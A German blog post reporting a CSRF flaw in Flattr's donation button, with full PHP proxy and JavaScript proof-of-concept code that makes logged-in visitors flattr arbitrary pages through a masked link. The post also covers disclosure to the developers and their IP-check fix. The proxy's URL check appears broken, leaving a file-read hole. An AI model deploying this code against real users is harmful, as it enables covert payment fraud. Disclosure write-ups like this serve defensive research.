Flattr-Manipulation ist möglich!

04.06.2010 yahe code legacy security thoughts update

Gestern habe ich darüber berichtet, dass ich mir nun auch einen der Beta-Accounts der neuen Micropayment-Plattform Flattr geholt habe. Am Ende des Artikels hatte ich eine mögliche Angriffsfläche erwähnt, die auch schon bei Twitter ausgenutzt worden ist. Wie ich nun durch eigene Tests herausgefunden habe, ist es tatsächlich möglich, Besucher einer Seite dazu zu bringen, völlig unbekannte Seiten zu flattrn.

Die Theorie hinter dem Angriff ist relativ einfach erklärt: Damit Flattr wirklich sinnvoll genutzt werden kann, muss man permanent eingeloggt sein. Es wird wohl kaum Nutzer geben, die sich jedes Mal erst einloggen wollen, bevor sie einen Flattr-Button drücken können. Diesen permanenten Login kann man nun missbrauchen, um Webnutzer dazu zu bringen, den Flattr-Button (bzw. den Link, der sich dahinter verbirgt) anzuklicken.

In der Praxis haben die Entwickler von Flattr versucht, dies dadurch zu verhindern, indem bei jedem Pageload ein möglichst zufälliger Link für den Button generiert wird. Damit kann man nicht einfach die URL zum Button irgendwo verlinken. Die Linkgenerierung selbst ist dabei in der Flattr-API gekapselt, die ebenfalls dafür sorgt, den Button in einem iFrame zu platzieren, wahrscheinlich, um den Button damit zusätzlich von außen abzuschotten.

Eine Schwäche hat die Abschottung jedoch: Die URL, die generiert wird, um den iFrame zu laden, ist statisch. Das sorgt dafür, dass man die URL auslesen und erneut aufrufen kann. Damit lassen sich dann beliebig viele gültige Button-URLs generieren. Ein weiteres Problem ist, dass die Button-URLs selbst vollkommen funktionstüchtig sind. Es wird nicht einmal der Referrer überprüft, um sicher zu gehen, dass der Button wirklich auf der Seite geklickt wurde, für die der Button generiert wurde.

In meinen Versuchen bin ich ziemlich grob vorgegangen: Ich habe für das Ausnutzen der Lücke ein Mini-PHP-Proxy-Script und ein Stückchen JavaScript geschrieben. Durch die beiden Teile kann man die Button-URL jeder x-beliebigen Webseite, die Flattr einsetzt, verlinken. Bisher nehme ich einfach immer die erste Button-URL, die ich finde. Das ließe sich aber leicht modifizieren. Wenn man jemanden dazu bringen möchte, irgendeine Seite zu flattrn, schiebt man ihm einen Link auf das Proxy-Script unter. Dieser Link kann beliebig maskiert sein. Wenn das Opfer die URL aufruft, wird wie folgt vorgegangen:

1. Im ersten Schritt lädt das Proxy-Script den Quelltext der Seite, von der die Button-URL genutzt werden soll. Vor dem "</body>"-Tag wird ein Stück JavaScript eingeschleust, das sich um das Auslesen der Button-URL kümmert.
2. Beim Auslesen der Button-URL wird im Seitenquelltext nach dem iFrame gesucht, der auf die Seite "api.flattr.com" verlinkt. Wurde dieser iFrame gefunden, wird die entsprechende URL via AJAX heruntergeladen. Das Proxy-Script wird hier deshalb benutzt, um das Cross-Origins-Problem zu umgehen. Schließlich müssen wir die URL "api.flattr.com" auslesen können.
3. Im erhaltenen Quelltext suchen wir nach dem Anchor, der wiederum auf den Host "api.flattr.com" verweist. Diese URL ist die Button-URL- Der andere Link weist lediglich auf "flattr.com".
4. Im Beispiel wird nun per JavaScript eine Relocation vorgenommen, um direkt die Button-URL anzuspringen. Es gibt sicherlich auch Möglichkeiten, das ganze unauffälliger zu machen (z.B. über das Einfügen eines nicht sichtbaren iFrames).

Alle gezeigten Schritte sind lediglich beispielhaft. Es ist mir klar, dass Leute, die mehr Zeit in das Ganze investieren auch unscheinbarere Wege finden werden. Das Vehikel aus PHP und AJAX habe ich z.B. lediglich gewählt, um den Implementierungsaufwand (URLs laden, XML parsen) so gering wie möglich für mich zu halten.

Hier nun die von mir verwendeten Quelltexte. Zuerst der PHP-Proxy. In diesen habe ich noch die Sperre eingebaut, dass nur URLs übergeben werden dürfen. Damit soll verhindert werden, dass man sich ein riesiges Einfallstor errichtet, mit dem Leute beliebige Daten auf der eigenen Platte lesen können.

<?php
  $body     = "</body>";
  $protocol = "http://";
  $script   = "<script type=\"text/javascript\" src=\"/flattr.js\"></script><script type=\"text/javascript\">window.location = getLink('/flattr.php?keepurl=');</script>";

  if (isset($_GET["keepurl"])) {
    if (stripos($_GET["keepurl"], $protocol) == 0) {
      print(file_get_contents($_GET["keepurl"]));
    }
  } else {
    if (isset($_GET["changeurl"])) {
      if (stripos($_GET["changeurl"], $protocol) == 0) {
        $temp = file_get_contents($_GET["changeurl"]);

        $pos = stripos($temp, $body);
        if ($pos !== false) {
          print(substr($temp, 0, $pos) . $script . substr($temp, $pos, strlen($temp)));
        }
      }
    }
  }
?>

Und hier nun die JavaScript-Datei. Den AJAX-Download habe ich mir teilweise ausgeliehen. Der Einfachheit halber verwende ich den synchronen Download. Zum Parsen des ausgelesenen Frame-Quelltextes verwende ich einfach einen Paragraph, den ich dann weiter abfrage.

  String.prototype.startsWith = function(str){return (this.match("^"+str)==str)};

  var apiStarter = "http://api.flattr.com/";

  // as taken from http://www.developers-guide.net/c/117-eine-einfuehrung-in-ajax-und-xmlhttprequest.html
  function createHttpRequest() {
    var result = null;

    if (window.ActiveXObject) {
      try {
        // IE 6 and higher
        result = new ActiveXObject("MSXML2.XMLHTTP");
      } catch (e) {
        try {
          // IE 5
          result = new ActiveXObject("Microsoft.XMLHTTP");
        } catch (e) {}
      }
    } else {
      if (window.XMLHttpRequest) {
        try {
          // Mozilla, Opera, Safari ...
          result = new XMLHttpRequest();
        } catch (e) {}
      }
    }

    return result;
  }

  function retrieveSource(url, returnScript) {
    var result = null;

    var httpRequest = createHttpRequest();

    if (httpRequest != null) {
      httpRequest.open("GET", returnScript + encodeURIComponent(url), false);
      httpRequest.send(null);

      if ((httpRequest.readyState == 4) && (httpRequest.status == 200)) {
        result = httpRequest.responseText;
      }
    }

    return result;
  }

  function getLink(returnScript) {
    var result = null;

    var allFrames   = document.getElementsByTagName("iframe");
    var allLinks    = null;
    var singleFrame = null;
    var singleLink  = null;

    var outputElement = document.createElement("p");

    for (var indexA = 0; indexA < allFrames.length; indexA++) {
      singleFrame = allFrames[indexA];

      if (singleFrame != null) {
        if (singleFrame.src.startsWith(apiStarter)) {
          outputElement.innerHTML = retrieveSource(singleFrame.src, returnScript);

          allLinks = outputElement.getElementsByTagName("a");

          for (var indexB = 0; indexB < allLinks.length; indexB++) {
            singleLink = allLinks[indexB];

            if (singleLink != null) {
              if (singleLink.href.startsWith(apiStarter)) {
                result = singleLink.href;
              }
            }

            if (result != null) {
              break;
            }
          }
        }
      }

      if (result != null) {
        break;
      }
    }

    return result;
  }

Der bisher einzige Weg, diesem Angriff zu entgehen, ist, sich nicht permanent bei Flattr einzuloggen (sprich beim Login das Kästchen "Keep me logged in" nicht zu aktivieren).

Update

Da @huxi mich gerade daran erinnert hat: Ich habe mich heute morgen nach Fertigstellung des Proof-of-Concept natürlich an die Entwickler von Flattr gewandt, um ihnen von dem Sicherheitsproblem zu berichten. Dabei habe ich von Peter Sunde persönlich die Aussage erhalten, dass bereits an dem Problem gearbeitet wird. Ich habe ihn auch darum gebeten, mir Bescheid zu geben, wenn der Fehler behoben ist, damit ich ein Update hier im Blog posten kann. Gerade habe ich ein Schreiben von Linus Olsson bekommen, in dem er um meine Ideen für eine mögliche Lösung fragt.

Update

Habe jetzt den Text an Linus geschickt. Wer des Englischen mächtig ist und sich für die Lösungsvorschläge interessiert, kann sich ja folgenden Text antun:

Dear Linus,

one of my friends called @huxi had a nice idea which does not solve the problem itself but which could circumvent any problems with unsolicited flatterings: an undo-function. He said, that it would be great to unflatter a "thing" when clicking on the button again. In that way you could at least intervene when you (as a donor) gain knowledge about a fraudulent transaction.

Please tell me when I'm wrong but as I have understood it you have put the flattr button into an iFrame to prevent direct access on its source code (thus using the same origin policy of most modern browsers). This was a very intelligent step as it made accessing the data a lot harder. But the problem you have is that the URL to the content displayed in the iframe is static. So you can just grab the URL and access the page through other means (e.g. a PHP proxy script). To prevent this from happening you would have to use dynamic URLs for the iframe content as well. Maybe this could be achieved by extending the API so that URL generation for a certain content is only possible with the correct user ID and password. You would then send a request to the API which returns the (dynamically generated) URL to the iframe content, which can only be used once.

A final protection would be some kind of confirmation - like a captcha (@huxi suggested that one) or just a simple yes/no dialog box. The matter with this final confirmation is that - in my opinion - it cannot be broken by code injection. When you wanted to break it you would have to use an intermediary (like a proxy) again, but using a proxy this time would mean to lose the necessary session/cookie information we need to execute the cross-site request forgery.

I hope these information will help a bit.

Update

Wie es scheint, haben die Entwickler von Flattr nun eine Lösung für das Problem implementiert. Wenn man die Cross-Site-Request-Forgery nun ausprobiert, landet man bei einem Sicherheitshinweis, der einem mitteilt, dass die verwendete IP-Adresse nicht korrekt sei. Ich denke, ich habe herausgefunden, wie sie diese Lösung implementiert haben: Sie scheinen sich beim Generieren der Button-URL zu merken, welche IP die Generierung veranlasst hat. Beim "Klick" wird dann die Generator-IP mit der Klicker-IP verglichen. Diese Sicherung schützt im Moment vor dem präsentierten Angriff, da für das Generieren der Button-URL derzeit ein externes PHP-Script verwendet wird. Sollte es möglich sein, den API-Call zur Button-URL-Generierung ohne die Verwendung eines Proxies ausführen zu lassen, könnte diese Sicherung wieder ausgehebelt werden.